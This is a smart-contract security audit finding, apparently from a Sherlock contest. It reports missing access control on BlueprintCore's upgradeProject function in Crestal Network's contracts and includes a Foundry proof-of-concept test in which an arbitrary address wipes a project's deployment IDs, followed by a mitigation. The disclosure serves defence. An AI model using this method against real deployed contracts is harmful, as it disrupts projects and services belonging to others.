Fierce Mint Meerkat

High

# Unrestricted blueprintCore::upgradeProject Function Leads To Service Interruption

### Summary

The upgradeProject function in blueprintCore.sol lacks access control, allowing anyone to reset critical project data. This results in the loss of requestProposalID, requestDeploymentID, and proposedSolverAddr, leading to service interruptions.

### Root Cause

The function does not implement proper access restrictions, enabling arbitrary users to reset project-related information.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L198-L203



### Internal Pre-conditions

a project have been created by builder

### External Pre-conditions

N/A

### Attack Path

After a project is created, an attacker can reset its data at any time.

### Impact

Workers and the Crestal backend rely on the project state to confirm which deployment request is active. Resetting a project could remove critical identifiers (like the proposal and deployment request IDs), leading to mismatches between on‑chain events and off‑chain records. This can result in the loss of vital deployment data, undermining data availability for integrations.

ref: https://docs.crestal.network/solvers/worker

### PoC

Around line 72-84. it shows any account call the upgradeProject function. And the requestDeploymentIDs have been reset

```solidity
pragma solidity ^0.8.26;

import {Test, console} from "forge-std/Test.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";
import {Blueprint} from "../src/Blueprint.sol";
import {MockERC20} from "./MockERC20.sol";

contract BlueprintTest2 is Test {
    BlueprintV5 public blueprint;
    MockERC20 public mockToken;
    bytes32 public projectId;
    address public workerAddress;
    address public dummyAddress;

    function setUp() public {
        blueprint = new BlueprintV5();
        blueprint.initialize(); // mimic upgradeable contract deploy behavior

        mockToken = new MockERC20();

        // set crestal wallet address
        blueprint.setFeeCollectionWalletAddress(address(0x7D8be0Dd8915E3511fFDDABDD631812be824f578));

        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2980);
        workerAddress = address(0x4d6585D89F889F29f77fd7Dd71864269BA1B31df);
        dummyAddress = address(0);
    }

    function test_anyoneCanUpgradeProject() public {
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";

        // Generate the signature
        (bytes memory signature, address signerAddress) = generateSignature(projectId, base64Proposal, serverURL);

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // set zero cost for create agents, use any number less than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), 0);

        // Expect the createAgent event
        vm.expectEmit(true, false, true, true);
        emit BlueprintCore.CreateAgent(projectId, "fake", signerAddress, 0, 0);

        // Create agent with token
        blueprint.createAgentWithTokenWithSig(
            projectId, base64Proposal, workerAddress, serverURL, address(mockToken), signature
        );

        // Mint tokens to the test account
        uint256 validTokenAmount = 100 * 10 ** 18;

        // set none zero cost for create agents, use any number greater than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), validTokenAmount);

        mockToken.mint(address(this), validTokenAmount);

        // check LogApproveEvent
        // vm.expectEmit(true, true, false, true);
        // emit MockERC20.LogApproval(address(this), address(blueprint), validTokenAmount);

        // Approve the blueprint contract to spend tokens directly from the test contract
        mockToken.approve(address(blueprint), validTokenAmount);

        // try with different project id
        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2981);
        // create agent with token and non zero cost
        blueprint.createAgentWithToken(projectId, base64Proposal, workerAddress, serverURL, address(mockToken));

        address proposedSolverAddr;
        bytes32 requestProposalID;
        bytes32[] memory requestDeploymentIDs;
        (proposedSolverAddr, requestProposalID, requestDeploymentIDs) = blueprint.getProjectInfo(projectId);
        assertEq(requestDeploymentIDs.length, 1);
        console.logBytes32(requestDeploymentIDs[0]);

        address attacker = makeAddr("attack");
        vm.prank(attacker);
        blueprint.upgradeProject(projectId);
        (proposedSolverAddr, requestProposalID, requestDeploymentIDs) = blueprint.getProjectInfo(projectId);
        // requestDeploymentID is gone
        assertEq(requestDeploymentIDs.length, 0);
    }

    function generateSignature(bytes32 _projectId, string memory _base64Proposal, string memory _serverURL)
        internal
        view
        returns (bytes memory, address)
    {
        bytes32 digest = blueprint.getRequestDeploymentDigest(_projectId, _base64Proposal, _serverURL);
        uint256 signerPrivateKey = 0xA11CE;
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, digest);
        return (abi.encodePacked(r, s, v), vm.addr(0xA11CE));
    }
}

```

### Mitigation

Implement proper authentication and authorization, ensuring that only privileged roles (e.g., project owners or admin) can call upgradeProject.

If the function is unnecessary, consider removing it to prevent potential misuse.